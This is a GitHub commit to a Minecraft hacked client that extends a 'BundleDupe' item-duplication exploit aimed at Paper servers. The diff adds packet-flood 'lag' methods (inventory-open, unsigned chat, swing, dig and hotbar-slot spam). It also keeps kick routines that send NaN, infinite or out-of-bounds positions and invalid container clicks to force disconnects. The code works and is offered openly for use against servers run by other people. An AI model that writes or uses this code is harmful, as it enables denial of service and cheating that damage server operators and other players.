Skip to content

Commit c151938

Browse files
committed
More Lag Options
1 parent 009ed48 commit c151938

File tree

2 files changed

+107
-18
lines changed

2 files changed

+107
-18
lines changed

README.md

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -701,17 +701,15 @@ This hack is still undergoing development and has only been tested in the end. A
701701
- One-click bundle dupe inspired by the work of Numbers/Autism Inc. Works on Paper 1.21.11 pre-[v111](https://github.com/PaperMC/Paper/commit/302c47c0dda6251fd5eb6bf7130345e9dcb988fc).
702702
- Prep: 100-page high-entropy book in inv + bundle with ~63 target items + 1 filler.
703703
- Modes
704-
- TIMEOUT: wait KeepAliveblock KAsafter Ns use bundlelag off
705-
- KICK: laguse bundle disconnect
704+
- TIMEOUT: wait KeepAlive, block KAs, after Ns use bundle, lag, off
705+
- KICK: lag, use bundle, disconnect
706706
- Kick
707-
- HURT / QUIT / CHARS / CLIENTSETTINGS
708-
- MOVE_NAN / MOVE_INF / MOVE_OOB
709-
- CLICK_INVALID / UPDATESLOT / CUSTOM
707+
- Hurt, Quit, Chars, Client Settings, Move NaN, Move Inf, Move OOB, Click Invalid, Update Slot, Custom Command
710708
- Lag
711-
- CUSTOM / BOAT_NBT (chest boat/minecart) / CLICKSLOT (needs NBT book) / ENTITY_NBT (crosshair target)
709+
- Boat NBT (Chest Boat/Minecart), Click Slot (Needs NBT Book (Or Similar)), Entity NBT (Crosshair Target), Inventory Spam, Chat Flood, Swing Spam, Dig Spam, Slot Spam, Custom Command.
712710
- Settings
713-
- TIMEOUT: seconds + interact delay (ms)
714-
- Lag: packet counts
711+
- TIMEOUT: Seconds + Interact delay (ms)
712+
- Lag: Packet Counts
715713
- Notes
716714
- Not all kicks suit all servers; BoatNBT needs riding; EntityNBT needs looking at entity.
717715

src/main/java/net/wurstclient/hacks/BundleDupeHack.java

Lines changed: 101 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -7,24 +7,29 @@
77
*/
88
package net.wurstclient.hacks;
99

10+
import java.time.Instant;
1011
import java.util.concurrent.Executors;
1112
import java.util.concurrent.ScheduledExecutorService;
1213
import java.util.concurrent.TimeUnit;
1314

1415
import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;
1516
import net.minecraft.client.multiplayer.ClientPacketListener;
1617
import net.minecraft.client.multiplayer.ClientLevel;
18+
import net.minecraft.core.BlockPos;
19+
import net.minecraft.core.Direction;
1720
import net.minecraft.network.HashedStack;
1821
import net.minecraft.network.protocol.Packet;
1922
import net.minecraft.network.protocol.common.ServerboundClientInformationPacket;
2023
import net.minecraft.network.protocol.common.ServerboundKeepAlivePacket;
24+
import net.minecraft.network.protocol.game.ServerboundChatPacket;
2125
import net.minecraft.network.protocol.game.ServerboundContainerClickPacket;
2226
import net.minecraft.network.protocol.game.ServerboundInteractPacket;
2327
import net.minecraft.network.protocol.game.ServerboundMovePlayerPacket;
2428
import net.minecraft.network.protocol.game.ServerboundPlayerActionPacket;
2529
import net.minecraft.network.protocol.game.ServerboundPlayerCommandPacket;
2630
import net.minecraft.network.protocol.game.ServerboundPlayerCommandPacket.Action;
2731
import net.minecraft.network.protocol.game.ServerboundSetCarriedItemPacket;
32+
import net.minecraft.network.protocol.game.ServerboundSwingPacket;
2833
import net.minecraft.server.level.ClientInformation;
2934
import net.minecraft.world.InteractionHand;
3035
import net.minecraft.world.entity.Entity;
@@ -94,6 +99,10 @@ public final class BundleDupeHack extends Hack implements PacketOutputListener
9499
"Amount of container click packets to send.", 200, 1, 1000, 1,
95100
ValueDisplay.INTEGER);
96101

102+
private final SliderSetting lagPackets = new SliderSetting("Other Lag packets",
103+
"Amount of lag packets to spam for ALL methods (except custom).", 300,
104+
100, 2000, 50, ValueDisplay.INTEGER);
105+
97106
private boolean cancelKeepAlive;
98107
private boolean dupeActivated;
99108
private boolean waitingForKeepAlive;
@@ -115,6 +124,7 @@ public BundleDupeHack()
115124
addSetting(boatNbtPackets);
116125
addSetting(entityNbtPackets);
117126
addSetting(clickslotPackets);
127+
addSetting(lagPackets);
118128
}
119129

120130
@Override
@@ -276,9 +286,6 @@ private void executeKickDupe()
276286
ClientPacketListener c = MC.getConnection();
277287
if(c != null && MC.player != null)
278288
{
279-
// Send a movement packet with NaN/NaN positions and
280-
// rotations to trigger an immediate decode/validation
281-
// disconnect
282289
c.send(new ServerboundMovePlayerPacket.PosRot(Double.NaN,
283290
Double.NaN, Double.NaN, Float.NaN, Float.NaN,
284291
MC.player.onGround(), false));
@@ -290,8 +297,6 @@ private void executeKickDupe()
290297
ClientPacketListener c = MC.getConnection();
291298
if(c != null && MC.player != null)
292299
{
293-
// Infinity positions/rotations are rejected instantly on
294-
// most servers
295300
c.send(new ServerboundMovePlayerPacket.PosRot(
296301
Double.POSITIVE_INFINITY, Double.NEGATIVE_INFINITY,
297302
Double.POSITIVE_INFINITY, Float.POSITIVE_INFINITY,
@@ -304,8 +309,6 @@ private void executeKickDupe()
304309
ClientPacketListener c = MC.getConnection();
305310
if(c != null && MC.player != null)
306311
{
307-
// Extremely out-of-bounds but finite coords often cause
308-
// immediate "Illegal position" disconnects
309312
double bx = 1.0E308, by = 1.0E308, bz = -1.0E308;
310313
c.send(new ServerboundMovePlayerPacket.PosRot(bx, by, bz,
311314
0.0f, 0.0f, MC.player.onGround(), false));
@@ -317,8 +320,6 @@ private void executeKickDupe()
317320
ClientPacketListener c = MC.getConnection();
318321
if(c != null)
319322
{
320-
// Container id/state/slot wildly out of range -> many
321-
// servers drop immediately
322323
ServerboundContainerClickPacket p =
323324
new ServerboundContainerClickPacket(-1,
324325
Integer.MAX_VALUE, (short)Short.MAX_VALUE,
@@ -363,6 +364,11 @@ private void executeLagMethod()
363364
case BOAT_NBT -> sendBoatNbtPackets();
364365
case CLICKSLOT -> sendClickslotPackets();
365366
case ENTITY_NBT -> sendEntityNbtPackets();
367+
case INVENTORY_SPAM -> sendInventorySpam();
368+
case CHAT_FLOOD -> sendChatFlood();
369+
case SWING_SPAM -> sendSwingSpam();
370+
case DIG_SPAM -> sendDigSpam();
371+
case SLOT_SPAM -> sendSlotSpam();
366372
}
367373
}
368374

@@ -423,6 +429,86 @@ private void sendClickslotPackets()
423429
"Sent " + clickslotPackets.getValueI() + " Clickslot packets.");
424430
}
425431

432+
private void sendInventorySpam()
433+
{
434+
ClientPacketListener c = MC.getConnection();
435+
if(c == null || MC.player == null)
436+
return;
437+
438+
int count = lagPackets.getValueI();
439+
for(int i = 0; i < count; i++)
440+
c.send(new ServerboundPlayerCommandPacket(MC.player,
441+
Action.OPEN_INVENTORY));
442+
443+
ChatUtils.message("Sent " + count
444+
+ " inventory open spam packets. (No boat needed!)");
445+
}
446+
447+
private void sendChatFlood()
448+
{
449+
ClientPacketListener c = MC.getConnection();
450+
if(c == null)
451+
return;
452+
453+
String junk = "a".repeat(200);
454+
int count = lagPackets.getValueI();
455+
456+
for(int i = 0; i < count; i++)
457+
{
458+
c.send(
459+
new ServerboundChatPacket(junk, Instant.now(), 0L, null, null));
460+
}
461+
462+
ChatUtils.message("Sent " + count + " chat flood packets. (Unsigned)");
463+
}
464+
465+
private void sendSwingSpam()
466+
{
467+
ClientPacketListener c = MC.getConnection();
468+
if(c == null || MC.player == null)
469+
return;
470+
471+
int count = lagPackets.getValueI();
472+
for(int i = 0; i < count; i++)
473+
c.send(new ServerboundSwingPacket(InteractionHand.MAIN_HAND));
474+
475+
ChatUtils.message("Sent " + count
476+
+ " swing arm spam packets. (Harmless Netty flood!)");
477+
}
478+
479+
private void sendDigSpam()
480+
{
481+
ClientPacketListener c = MC.getConnection();
482+
if(c == null || MC.player == null)
483+
return;
484+
485+
BlockPos pos = MC.player.blockPosition();
486+
Direction dir = Direction.UP;
487+
int count = lagPackets.getValueI();
488+
for(int i = 0; i < count; i++)
489+
c.send(new ServerboundPlayerActionPacket(
490+
ServerboundPlayerActionPacket.Action.START_DESTROY_BLOCK, pos,
491+
dir));
492+
493+
ChatUtils.message("Sent " + count
494+
+ " block dig spam packets. (Air block validation lag!)");
495+
}
496+
497+
private void sendSlotSpam()
498+
{
499+
ClientPacketListener c = MC.getConnection();
500+
if(c == null)
501+
return;
502+
503+
java.util.Random rand = new java.util.Random();
504+
int count = lagPackets.getValueI();
505+
for(int i = 0; i < count; i++)
506+
c.send(new ServerboundSetCarriedItemPacket(rand.nextInt(9)));
507+
508+
ChatUtils.message("Sent " + count
509+
+ " hotbar slot spam packets. (Server inv update lag!)");
510+
}
511+
426512
private void executeCommand(String command)
427513
{
428514
if(command == null)
@@ -462,6 +548,11 @@ public static enum LagMethod
462548
CUSTOM,
463549
BOAT_NBT,
464550
CLICKSLOT,
465-
ENTITY_NBT
551+
ENTITY_NBT,
552+
INVENTORY_SPAM,
553+
CHAT_FLOOD,
554+
SWING_SPAM,
555+
DIG_SPAM,
556+
SLOT_SPAM
466557
}
467558
}

0 commit comments

Comments
 (0)